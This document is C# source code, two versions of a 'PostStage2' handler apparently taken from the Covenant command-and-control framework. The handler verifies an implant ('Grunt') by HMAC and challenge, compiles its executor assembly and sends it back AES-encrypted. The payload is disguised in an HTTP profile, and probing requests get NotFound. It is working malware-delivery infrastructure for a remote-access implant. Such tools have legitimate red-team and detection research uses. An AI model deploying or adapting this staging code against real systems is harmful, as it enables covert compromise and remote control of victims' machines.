public ActionResult PostStage2(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; realGrunt.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly)); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" return(Ok(response)); }
public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { // Check if this Grunt ID is already active API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly)); string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }